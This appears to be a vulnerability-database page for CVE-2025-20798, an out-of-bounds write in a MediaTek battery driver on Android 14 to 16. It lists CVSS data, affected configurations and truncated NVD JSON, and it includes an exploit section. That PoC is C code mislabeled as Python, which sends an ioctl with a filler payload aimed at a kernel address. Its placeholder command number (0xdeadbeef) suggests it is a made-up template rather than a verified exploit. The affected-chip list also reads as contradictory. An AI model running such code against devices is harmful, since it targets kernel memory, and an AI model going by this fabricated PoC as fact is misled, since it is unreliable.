Security Vulnerability Report
中文
CVE-2025-20798 CVSS 7.8 HIGH

CVE-2025-20798

Published: 2026-01-06 02:15:44
Last Modified: 2026-01-08 19:23:59

Description

In battery, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10315812; Issue ID: MSV-5533.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek芯片电池组件 < ALPS10315812补丁版本
使用MediaTek ALPS10315812之前版本电池驱动的Android设备
集成MediaTek电池管理驱动的IoT设备(固件版本 < 修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-20798 PoC - MediaTek Battery Component Out-of-Bounds Write Note: This PoC is for educational and research purposes only. Requires local access and System privileges to execute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define BATTERY_DEVICE "/dev/battery_mtk" #define MALICIOUS_PAYLOAD_SIZE 256 // Trigger the OOB write in MediaTek battery driver int trigger_oob_write(int fd, unsigned long target_addr, char *payload, size_t payload_size) { // Construct IOCTL command to trigger battery driver vulnerability // The driver fails to check buffer boundaries before writing struct battery_ioctl_req { unsigned long addr; char data[512]; size_t len; } req; memset(&req, 0, sizeof(req)); req.addr = target_addr; req.len = payload_size; memcpy(req.data, payload, payload_size); // IOCTL call that triggers the vulnerable code path return ioctl(fd, 0xdeadbeef, &req); // 0xdeadbeef = BATTERY_WRITE_CMD } int main(int argc, char *argv[]) { int fd; char payload[MALICIOUS_PAYLOAD_SIZE]; unsigned long kernel_addr; if (argc < 2) { fprintf(stderr, "Usage: %s <kernel_target_addr>\n", argv[0]); return -1; } kernel_addr = strtoul(argv[1], NULL, 16); // Open the battery device fd = open(BATTERY_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open battery device"); return -1; } // Prepare malicious payload memset(payload, 0x41, MALICIOUS_PAYLOAD_SIZE); printf("[*] Triggering OOB write to address: 0x%lx\n", kernel_addr); printf("[*] Payload size: %d bytes\n", MALICIOUS_PAYLOAD_SIZE); // Trigger the vulnerability if (trigger_oob_write(fd, kernel_addr, payload, MALICIOUS_PAYLOAD_SIZE) < 0) { fprintf(stderr, "[!] IOCTL call failed\n"); } else { printf("[+] OOB write triggered successfully\n"); } close(fd); return 0; } /* Detection Method: 1. Monitor battery driver IOCTL calls for anomalous behavior 2. Check for unexpected memory access patterns in kernel logs 3. Verify battery driver version < ALPS10315812 */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20798", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:43.817", "lastModified": "2026-01-08T19:23:58.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In battery, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10315812; Issue ID: MSV-5533."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:*", "matchCriteriaId": "F5506327-7DDF-4E88-9EA8-10B8E32F848B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8186:-:*:*:*:*:*:*:*", "matchCriteriaId": "E4932D34-06F4-49D7-81FB-772A82E8A5B5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8188:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA3D4A45-38EE-4125-AE67-89D1C707F95A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:*", "matchCriteriaId": "FB0C4D80-28BC-4C4D-B522-AD9EC5222A2E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8367:-:*:*:*:*:*:*:*", "matchCriteriaId": "A28FA947-314F-465B-8ADD-F7973F02D82A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8391:-:*:*:*:*:*:*:*", "matchCriteriaId": "43B2824E-8D18-4DD7-91E7-41578B2FCD6C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8676:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE302F6F-170E-4350-A8F4-65BE0C50CB78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8678:-:*:*:*:*:*:*:*", "matchCriteriaId": "152A5F3D-8004-4649-BDB1-E6F0798AF1CB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8696:-:*:*:*:*:*:*:*", "matchCriteriaId": "26573298-76BC-49FE-8D99-CF03ED01B185"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8766:-:*:*:*:*:*:*:*", "matchCriteriaId": "CE45F606-2E75-48BC-9D1B-99D504974CBF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt876 ... (truncated)